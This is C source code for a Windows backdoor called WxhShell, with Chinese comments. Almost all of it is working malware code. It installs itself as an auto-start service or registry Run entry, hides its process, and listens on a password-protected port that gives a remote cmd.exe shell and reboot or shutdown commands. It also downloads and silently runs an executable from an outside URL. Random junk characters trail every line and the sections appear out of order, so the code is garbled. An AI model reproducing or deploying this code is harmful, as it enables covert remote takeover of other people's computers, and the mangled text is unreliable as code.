    ExitThread(0); D0NSzCHx  
    } HC4qP9Gs  
    break; x`/"1]Nf  
    } :s|" ZR  
  // 关机 t_cNH@^3<3  
  case 'd': { _Eo$V&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R]hilb'a  
    if(Boot(SHUTDOWN)) G`3/${ti  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AB92R/  
    else { HAJK%zLc  
    closesocket(wsh); CYD&#+o  
    ExitThread(0); 8wJfG Y  
    } w+c%Y\:  
    break; ]Q-*xho  
    } CtiTXDc_  
  // 获取shell $<&N#  
  case 's': { <2Q+? L{  
    CmdShell(wsh); 1#BMc%  
    closesocket(wsh); ;#a^M*e  
    ExitThread(0); zyb>PEd.  
    break; GSck^o2{  
  } v%8.o%G  
  // 退出 Bg.~#H  
  case 'x': { &|cg`m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GcXh V  
    CloseIt(wsh); F2jZ3[P  
    break; _Ec9g^I10  
    } 4 XSEN ]F  
  // 离开 Y#[jDS(ip  
  case 'q': { >drG,v0qh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }',/~T6  
    closesocket(wsh); "`;$wA  
    WSACleanup(); ;VVKn=X=S=  
    exit(1); $mf Z{  
    break; `a *_b9  
        } 7OSk0%Q,  
  } Q7uhz5oZ  
  } ;A^Ii>`  
t2V|moG  
  // 提示信息 $J]VY;C!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,ru2C_LQ  
} PX7@3Y  
  } X)P;UVR0  
|^: A,%>  
  return; l\+^.ezD  
} )bCw~'h*  
@APv?>$)  
// shell模块句柄 F\LAw#IJ  
int CmdShell(SOCKET sock) =QG@{?JTl  
{ QnHb*4<  
STARTUPINFO si; jhU'UAn  
ZeroMemory(&si,sizeof(si)); Vqr#%. N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xw[KP [(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4}C^s\?z  
PROCESS_INFORMATION ProcessInfo; ,|:TML  
char cmdline[]="cmd"; `v;9!ReZV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); of?hP1kl[  
  return 0; K9\p=H^T7  
} }.+{M.[}  
$Sz@u"ig%  
// 自身启动模式 -B+Pl*  
int StartFromService(void) ~cC =DeX  
{ SxyXz8+e[  
typedef struct ^t X}5i`P  
{ }2@Aj  
  DWORD ExitStatus; +hoZW R  
  DWORD PebBaseAddress; &~9'7 n!  
  DWORD AffinityMask; w +pK=R  
  DWORD BasePriority; &d5n_:^  
  ULONG UniqueProcessId; K=S-p3\g  
  ULONG InheritedFromUniqueProcessId; H] i.\2z  
}   PROCESS_BASIC_INFORMATION; b A/,{R  
_>:R]2Ew  
PROCNTQSIP NtQueryInformationProcess; &`]Lg?J  
DjzHEqiH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H > Y0R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FBDRbJ su  
Vr%>'XN>"  
  HANDLE             hProcess; hDPZj#(c  
  PROCESS_BASIC_INFORMATION pbi; >"Tivc5  
8\V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S}mZU!  
  if(NULL == hInst ) return 0; h!@t8R  
GPyr;FV!s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S_ELZO#7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c)L1@qdZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NOzAk%s3I  
,tZJSfHB  
  if (!NtQueryInformationProcess) return 0; kfb*|  
VR5CRNBJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P|0dZHpT  
  if(!hProcess) return 0; WR5@S&fU`  
$9~6M*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H YA<  
_BC%98:WP  
  CloseHandle(hProcess); ,}8|[)"  
)\xDo<@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >0^oC[ B  
if(hProcess==NULL) return 0; \:7G1_o  
 ~OdE!!  
HMODULE hMod; -MA/:EB  
char procName[255]; 9V]{q  
unsigned long cbNeeded; Vn7FbaO^  
O1C| { M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *#{V ^}  
\Uz7ar#,  
  CloseHandle(hProcess); d3,%Z &  
s2IjZF{  
if(strstr(procName,"services")) return 1; // 以服务启动 dq6|m }g{  
D]P_tJI  
  return 0; // 注册表启动 pUp&eH  
} T6Oah:50EM  
B\<;e  
// 主模块 {hP_"nN#  
int StartWxhshell(LPSTR lpCmdLine) obRYU|T  
{ W{)RJ1  
  SOCKET wsl; cN{(XmX5n  
BOOL val=TRUE; )(4.7>  
  int port=0; E((U=P}+g  
  struct sockaddr_in door; w# iezo. 0  
J>o%6D  
  if(wscfg.ws_autoins) Install(); :" ta#g'  
47/14rY 2  
port=atoi(lpCmdLine); +VE ] .*T  
0Z11V9Jk  
if(port<=0) port=wscfg.ws_port; Q;h6F{i  
Exu5|0AAE  
  WSADATA data; WVa-0;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O7})1|>1  
i(hL6DLD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p-qt?A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mFGiysM  
  door.sin_family = AF_INET; DI>SW%)>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d?9b6k?  
  door.sin_port = htons(port); /Wx({N'h$  
Kw/7X[|'G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %}`zq8Q;  
closesocket(wsl); _MmSi4]yd  
return 1; [yyL2=7  
} $'I-z.GV  
Dr_ (u<[  
  if(listen(wsl,2) == INVALID_SOCKET) { zJMm=Mw^  
closesocket(wsl); >QA;02  
return 1; ^!FLi7X  
} .XZq6iF9  
  Wxhshell(wsl); l`mNOQ@}'  
  WSACleanup(); 8Ry%HV9VE  
EE,57(  
return 0; $~h\`vF&  
Vw@?t(l>  
} gfPR3%EXs  
'xG:v)(  
// 以NT服务方式启动 CAJ]@P#Xj+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y3n6y+Uzk  
{ )%(V.?eW  
DWORD   status = 0; ?l/$cO  
  DWORD   specificError = 0xfffffff; X+$IaLfCxD  
~BbF:DS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y~r5KB6w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d#W>"Cqxqa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S^z t>  
  serviceStatus.dwWin32ExitCode     = 0; p~evPTHnrX  
  serviceStatus.dwServiceSpecificExitCode = 0; \46 'j.  
  serviceStatus.dwCheckPoint       = 0; qX%oLa  
  serviceStatus.dwWaitHint       = 0; Y0 ?<~Gf  
U;q GUqI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v>!tws5e  
  if (hServiceStatusHandle==0) return; {gkY:$xnrG  
N!Cy)HnS\w  
status = GetLastError(); 8-_\Q2vG  
  if (status!=NO_ERROR) r9vO(m~  
{ -ld1o+'`v!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JNL9t0 x  
    serviceStatus.dwCheckPoint       = 0; 4~DW7 (  
    serviceStatus.dwWaitHint       = 0; ; `Vbl_"L  
    serviceStatus.dwWin32ExitCode     = status; `^G?+p2E  
    serviceStatus.dwServiceSpecificExitCode = specificError; >OotgJnhC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z'cL"n\9R]  
    return; K1oSoD8c  
  } u]$e@Vw.  
!\hUjM+(}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bMvHAtp  
  serviceStatus.dwCheckPoint       = 0; j96\({;k  
  serviceStatus.dwWaitHint       = 0; ,?KN;~t#vz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6E))4 lW  
} 6qF9+r&e ?  
'<!T'l:R:/  
// 处理NT服务事件,比如:启动、停止 wj$WE3Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Oe_*(q&  
{ R\MFh!6sn  
switch(fdwControl) gc[BP>tl\  
{ =}xH6^It  
case SERVICE_CONTROL_STOP: py':UQS*q  
  serviceStatus.dwWin32ExitCode = 0; L Rn)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p3W-*lE  
  serviceStatus.dwCheckPoint   = 0; |qq7vx  
  serviceStatus.dwWaitHint     = 0; Js0hlWu  
  { y yqya[-11  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kd|@  
  } @ rG=>??k  
  return; @@pI>~#zh  
case SERVICE_CONTROL_PAUSE: &~&nJr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?(2^lH~6h  
  break; Q G8X{'  
case SERVICE_CONTROL_CONTINUE: *,y .%`o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _@_w6Rh  
  break; 'g#EBy  
case SERVICE_CONTROL_INTERROGATE: 7|Bg--G1  
  break; 6_zyPh  
}; .% {4B,d$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0w9[Z  
} )oCb9K:km  
M\L^ Wf9  
// 标准应用程序主函数 ;UPI%DnE]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gQ;1SY!  
{ v$]eCj'  
5LVzT1j|  
// 获取操作系统版本 UgC{  
OsIsNt=GetOsVer(); gBPYGci2F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sf"]enwB  
? f>pKe  
  // 从命令行安装 2J1YrHj3  
  if(strpbrk(lpCmdLine,"iI")) Install(); G5hh$Nmpi  
1 [D,Mu%E  
  // 下载执行文件 1@6FV x  
if(wscfg.ws_downexe) { FJH'!P\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !W48sZr1&  
  WinExec(wscfg.ws_filenam,SW_HIDE); F\BD7W  
} p`mNy o'  
TChKm- x  
if(!OsIsNt) { tO8<N'TD  
// 如果时win9x,隐藏进程并且设置为注册表启动 /5&' U!:+  
HideProc(); SMIr@*R  
StartWxhshell(lpCmdLine); *)82iD  
} 1 2y+g5b  
else <xO" E%t  
  if(StartFromService()) wu`P=-  
  // 以服务方式启动 D\9-MXc1  
  StartServiceCtrlDispatcher(DispatchTable); E5`KUMZkq  
else $9PscubM4  
  // 普通方式启动 9LK<u$C  
  StartWxhshell(lpCmdLine); ["} Yp  
[ m#|[%  
return 0; j" ~gEGfK  
} Izr_]%  
aPH6R<G  
;Q8LA",5d  
e>~7RN  
=========================================== Puodsd  
@p$$BUb  
v#`7,::  
nAY'1!Oi  
l 4e`-7  
M~"93Q`f^  
" z]33_[G1U  
1_V',0|`>  
#include <stdio.h> :I/i"g7<  
#include <string.h> nhb: y  
#include <windows.h> Jo Ih2PD  
#include <winsock2.h> ~Jlo>  
#include <winsvc.h> HCOE'24I  
#include <urlmon.h> Bq*aP*jv  
,o68xfdZVW  
#pragma comment (lib, "Ws2_32.lib") p&Ev"xhs  
#pragma comment (lib, "urlmon.lib") jTE~^  
vd]75  
#define MAX_USER   100 // 最大客户端连接数 e%K oecq  
#define BUF_SOCK   200 // sock buffer n"dYN3dE  
#define KEY_BUFF   255 // 输入 buffer H=1Jq  
5A`T}~"X  
#define REBOOT     0   // 重启 V^/]h u  
#define SHUTDOWN   1   // 关机 h&O8e;S#  
2/4,iu(T`c  
#define DEF_PORT   5000 // 监听端口 { 2\.  
`;BpdG(m  
#define REG_LEN     16   // 注册表键长度 MzX4/*ba  
#define SVC_LEN     80   // NT服务名长度 lN,)T%[0-  
MB:*WA&  
// 从dll定义API +u|p<z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SZ3UR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wbA<G&h~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d@#wK~I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /\e&nYz  
86HK4sES  
// wxhshell配置信息 `S+B-I0  
struct WSCFG { @teNT"  
  int ws_port;         // 监听端口 m%[`NP (  
  char ws_passstr[REG_LEN]; // 口令 X J{b_h#N  
  int ws_autoins;       // 安装标记, 1=yes 0=no o'auCa,N  
  char ws_regname[REG_LEN]; // 注册表键名 p"ElO,\  
  char ws_svcname[REG_LEN]; // 服务名 ZCuLgCP?Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e=#'rDm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;f l3'.S[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2uy<wJE >  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ocDAg<wo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]46#u=y~3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k< i#agq  
#[ZNiaWT  
}; NpN-''B\  
>2[nTfS  
// default Wxhshell configuration %SJ2W>e  
struct WSCFG wscfg={DEF_PORT, @b5zHXF83E  
    "xuhuanlingzhe", .M zAkZ=  
    1, W v4o:_}  
    "Wxhshell", OS7^S1r-  
    "Wxhshell", E whCX'Vaj  
            "WxhShell Service", +%: /!T@@  
    "Wrsky Windows CmdShell Service", 6-!U\R2Z>  
    "Please Input Your Password: ", _zF*S]9 X  
  1, Pt^SlX^MM  
  "http://www.wrsky.com/wxhshell.exe", zEN3N n.8  
  "Wxhshell.exe" w(-h!d51+  
    }; 1Bhd-  
\;F_QV  
// 消息定义模块 *Z:'jV<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o b,%); m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I {&8iUN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WPbG3FrL!  
char *msg_ws_ext="\n\rExit."; _oBJ'8R\  
char *msg_ws_end="\n\rQuit."; \Uh$%#}.  
char *msg_ws_boot="\n\rReboot..."; GO<,zOqvU  
char *msg_ws_poff="\n\rShutdown..."; "B"Yfg[  
char *msg_ws_down="\n\rSave to "; ( {}Z '  
*%;+3SV  
char *msg_ws_err="\n\rErr!"; RwyRPc _  
char *msg_ws_ok="\n\rOK!"; l:$i}.C  
MeMSF8zSQ  
char ExeFile[MAX_PATH]; NPY\ >pf  
int nUser = 0; f&ri=VJY\T  
HANDLE handles[MAX_USER]; ;eQOBGX9  
int OsIsNt; (m%A>e B  
k3 S  
SERVICE_STATUS       serviceStatus; I2G:jMPy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4te QG  
] lONi  
// 函数声明 e|2@z-Sp-  
int Install(void); RP|/rd]-k  
int Uninstall(void); -H-:b7  
int DownloadFile(char *sURL, SOCKET wsh);  tQSJ"Q  
int Boot(int flag); >u R0 Xs;V  
void HideProc(void); =QQTHL{3  
int GetOsVer(void); %S9YjMR@  
int Wxhshell(SOCKET wsl); 9Impp5`/B  
void TalkWithClient(void *cs); uW4wTAk;qh  
int CmdShell(SOCKET sock); A$ Tp0v`t  
int StartFromService(void); H68~5lJY^]  
int StartWxhshell(LPSTR lpCmdLine); S#{gCc  
(eEs0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T\3a T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5N.-m;s  
O4lHR6M2  
// 数据结构和表定义 {.mP e|  
SERVICE_TABLE_ENTRY DispatchTable[] = i0/RvrLc  
{ Pua| Z x  
{wscfg.ws_svcname, NTServiceMain}, {>rGe#Vu  
{NULL, NULL} wR]jJb F  
}; ?CU6RC n  
Ww)p&don  
// 自我安装 o +KDK{MD  
int Install(void) pB0p?D)n  
{ O~~WP*N  
  char svExeFile[MAX_PATH]; kACgP!~/1  
  HKEY key; sjIUW$  
  strcpy(svExeFile,ExeFile); .,+TpP kc  
%!X9>i>  
// 如果是win9x系统,修改注册表设为自启动 [3|&!:4g6  
if(!OsIsNt) { Z(c3GmY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -{O>'9'1A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JVxGS{Z  
  RegCloseKey(key); lo< t5~GQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }fT5(+ Wo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]qpLaBD  
  RegCloseKey(key); e:uk``\  
  return 0; ~dz,eB  
    } Ef~Ar@4fA  
  } 6>=yX6U1q^  
} fWk,k*Z 9  
else { ta+MH,  
L5j%4BlK/  
// 如果是NT以上系统,安装为系统服务 !9p;%Ny`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AS? ESDC  
if (schSCManager!=0) 'JK"3m}nT  
{ ]9]o*{_+(f  
  SC_HANDLE schService = CreateService  oo4aw1d  
  ( :/<SJ({q  
  schSCManager, 3[F9qDAy  
  wscfg.ws_svcname, [@;q#.}Z  
  wscfg.ws_svcdisp, ,*MA teD  
  SERVICE_ALL_ACCESS, (<KFA,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xP+`scv*m#  
  SERVICE_AUTO_START, *l{GD1ZDk  
  SERVICE_ERROR_NORMAL, }p|S3/G?$!  
  svExeFile, #X t|"Z  
  NULL, I6-.;)McO  
  NULL, v1O1-aM  
  NULL, :}*   
  NULL, =IH~:D\&  
  NULL o|G[/o2  
  ); XDQ5qfE|  
  if (schService!=0) c$P68$FB  
  { A}3dx!?7j  
  CloseServiceHandle(schService); kVe4#LT  
  CloseServiceHandle(schSCManager); YM r2|VEU[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ,7h0y  
  strcat(svExeFile,wscfg.ws_svcname); "zZ Z h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bGtS! 'I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6Q*Zy[=  
  RegCloseKey(key); *YO^+]nmY  
  return 0; sD ,=_q@  
    } gzd<D}2F~  
  } Kg6[  
  CloseServiceHandle(schSCManager); e%_J O7  
} OaeX:r+&Q  
} AEd]nVV Q  
*hvC0U@3  
return 1; F?+\J =LT  
} i@m@]-2  
H ]z83:Z  
// 自我卸载 7z;X@+O}s  
int Uninstall(void) 3ZUME\U  
{ q,m+W='  
  HKEY key; v8l3{qq  
=JNCQu  
if(!OsIsNt) { LE}V{%)xD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h<<uef9  
  RegDeleteValue(key,wscfg.ws_regname); '4ip~>3?w  
  RegCloseKey(key); ^V7'S<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c:I %jm  
  RegDeleteValue(key,wscfg.ws_regname); 1Eh6ti  
  RegCloseKey(key); of=N+ W  
  return 0; Mj6 0?k  
  } MAQ(PIc>T  
} JnIE6@g<y  
} uL{CUt  
else { /*2)|2w  
)_olJCdaP^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BIh^b?:zU  
if (schSCManager!=0) p|+TgOYOc  
{ $W]}m"l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {/}%[cY =  
  if (schService!=0) ey@ccc*sZ9  
  { i_e%HG  
  if(DeleteService(schService)!=0) { Dv"HFQuF  
  CloseServiceHandle(schService); oJ?,X^~_  
  CloseServiceHandle(schSCManager); < Dt/JA(p  
  return 0; U'aJCM  
  } 19b@QgfWpb  
  CloseServiceHandle(schService); es^@C9qt  
  } QpD- %gN  
  CloseServiceHandle(schSCManager); HA74s':FN  
} 0[])wl  
} &u2H^ j  
x n=#4:f  
return 1; T5Iz{Ha  
} _9C,N2a{C  
B~B,L*kC2  
// 从指定url下载文件 s}F.D^^G  
int DownloadFile(char *sURL, SOCKET wsh) 1ixBwnp?  
{ o~7D=d?R  
  HRESULT hr; Tq?7-_MLC$  
char seps[]= "/"; v{SZ(;  
char *token; uJ`:@Z^J  
char *file; xLSf /8e  
char myURL[MAX_PATH]; rf+Z0C0WYi  
char myFILE[MAX_PATH]; hdeI/4 B  
`ZU]eAV  
strcpy(myURL,sURL); iNr&;  
  token=strtok(myURL,seps); hof>:Rk  
  while(token!=NULL) ~)pso7^:  
  { N[A9J7}_R  
    file=token; q|V|Jl  
  token=strtok(NULL,seps); {)(Mkm +d  
  } Re+oCJ  
Kr?<7vMT5  
GetCurrentDirectory(MAX_PATH,myFILE); ~BiLzT1,  
strcat(myFILE, "\\"); Gz52^O :  
strcat(myFILE, file); U+R9bn   
  send(wsh,myFILE,strlen(myFILE),0); ,FwpHs $A  
send(wsh,"...",3,0); fV2w &:^3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Eh^gR`I  
  if(hr==S_OK) Rl&nR$#  
return 0; tOX -vQ  
else ,xg-H6Xfa{  
return 1; T+q5~~\d  
%l?*w~x  
} $*`E;}S0  
&NOCRabc  
// 系统电源模块 VTU(C&"S  
int Boot(int flag) eA*We  
{ fA"c9(>m%]  
  HANDLE hToken; Q zg?#|  
  TOKEN_PRIVILEGES tkp;  //0Y#"  
n-g#nEc:  
  if(OsIsNt) { _Wq;bKG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *eGG6$I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Zv2]X-  
    tkp.PrivilegeCount = 1; G5%k.IRz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _0BQnzC=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2}XxRJ0   
if(flag==REBOOT) { #"8'y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \H&;.??W  
  return 0; fR?'HsQg  
} %}JSR y  
else { PjofW%7F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |qVM`,%L  
  return 0; =KAN|5yn  
} K4 -_a{)/  
  } (|#%omLL  
  else { MV w.Fl  
if(flag==REBOOT) { R13V }yL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T(,@]=d,DD  
  return 0; V>`9ey!U  
} 5 `@yX[G  
else { 3,EtyJ3[Bh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4]FS jVO  
  return 0; !Na@T]J  
} cY Qm8TR<  
} c>3j $D+  
(>,b5g  
return 1; >6Jz=N,  
} C\Z5%2<Z  
u@P1`E1Q  
// win9x进程隐藏模块 OsW*@v(  
void HideProc(void) 8 &v)Vi-  
{ &O#1*y Z  
RP^vx`9h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QyY<Zi;6  
  if ( hKernel != NULL ) sgnc$x"  
  { @^J>. g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sy-#Eo#3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )c?nh3D  
    FreeLibrary(hKernel); 4;@L#Pzt  
  } Z +O< IF%  
|tU wlc>  
return; rxs:)# ?A  
} f3 imkZ(  
_0ZU I^#  
// 获取操作系统版本 oIQ$98M  
int GetOsVer(void) #2lvRJB  
{ +=d=  
  OSVERSIONINFO winfo; 11 k}Ly  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HGDiwA  
  GetVersionEx(&winfo); 2G<XA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sn^M[}we  
  return 1; t BG 9Mn  
  else .;S1HOHz4  
  return 0; 7G7"Zule*j  
} p$ETAvD  
j/F('r~L  
// 客户端句柄模块 kem(U{m  
int Wxhshell(SOCKET wsl) +md"X@k5*  
{ u.*}'C>^^v  
  SOCKET wsh; =(Y0wZP|  
  struct sockaddr_in client; gzy|K%K  
  DWORD myID; ]vPdj"7  
$pt~?ZZ3-  
  while(nUser<MAX_USER) mB6%. "  
{ GctV  
  int nSize=sizeof(client); OEX\]!3_Fm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LPZ\T} <l  
  if(wsh==INVALID_SOCKET) return 1; =6f)sZpPh  
(9=E5n6o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B9Wd '  
if(handles[nUser]==0) d(@ ov^e-  
  closesocket(wsh); \zwm:@lG  
else 8H T3C\$s  
  nUser++; m8G/;V[x  
  } .JJ50p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H<;~u:;8Q  
pSEaE9AX%  
  return 0; SSyARR+;c  
} sTep2W.9  
1)qD)E5&cf  
// 关闭 socket }W(t> >  
void CloseIt(SOCKET wsh) ?GtI.flV  
{ (_+ux1h6^  
closesocket(wsh); [d-Y1  
nUser--; R=$}uDFmW  
ExitThread(0); $9xp@8b\_  
} e.#,9  
(d* | |"  
// 客户端请求句柄 QC&,C}t,  
void TalkWithClient(void *cs) U[OUIXUi  
{ q}0I`$MU  
B-"F67:  
  SOCKET wsh=(SOCKET)cs; +(z[8BJl  
  char pwd[SVC_LEN]; ,U+>Q!$`\^  
  char cmd[KEY_BUFF]; J, +/<Y!  
char chr[1]; ~O!E&~  
int i,j; :#{0yno)H  
Iz;^D!  
  while (nUser < MAX_USER) { Q`Q"p  
`*`ZgTV  
if(wscfg.ws_passstr) { #l.s> B4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OECVExb@eH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yu > ;m.e_  
  //ZeroMemory(pwd,KEY_BUFF); q_L. Sy|)  
      i=0; SQ]M"&\{y  
  while(i<SVC_LEN) { i70\`6*;B  
]2ycJ >w  
  // 设置超时 kA)`i`gt  
  fd_set FdRead; #XqiXM~^R  
  struct timeval TimeOut; y@7CY-1  
  FD_ZERO(&FdRead); OsVz[wN  
  FD_SET(wsh,&FdRead); 9C7HL;MF  
  TimeOut.tv_sec=8; (:%t  
  TimeOut.tv_usec=0; )vg@Kc26  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4d}n0b\d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '<*%<J{(  
:_nGh]%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~"4Cz27  
  pwd=chr[0]; %M`zkA2]J  
  if(chr[0]==0xd || chr[0]==0xa) { G `B=:s]  
  pwd=0; cWo__EE  
  break; Y?zo")  
  } l8_RA  
  i++; ae2SU4Jx  
    } /F''4%S?E  
|}/KueZ  
  // 如果是非法用户,关闭 socket Qw|y%Td8r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HCe/!2Y/%  
} >Rb jdM5K4  
0dI7{o;<|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,OP\^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4!-R&<TLve  
Z@$'fX?~9  
while(1) { `Hv"^o  
i }Zz[b  
  ZeroMemory(cmd,KEY_BUFF); r(_Fr#Qn  
* kUb[  
      // 自动支持客户端 telnet标准   5lM 3In@  
  j=0; d-W*`:Q  
  while(j<KEY_BUFF) { TIaiJvo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n!lE|if  
  cmd[j]=chr[0]; [9Tnp]q  
  if(chr[0]==0xa || chr[0]==0xd) { "T<7j.P?  
  cmd[j]=0; 5LU7}v~/  
  break; sqjDh  
  } huR ^l  
  j++; N+H[Y4c?F&  
    } *A")A.R  
9;`hJ!r  
  // 下载文件 XaoVv2=G~  
  if(strstr(cmd,"http://")) { r?^L/HGc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }jFRuT;35  
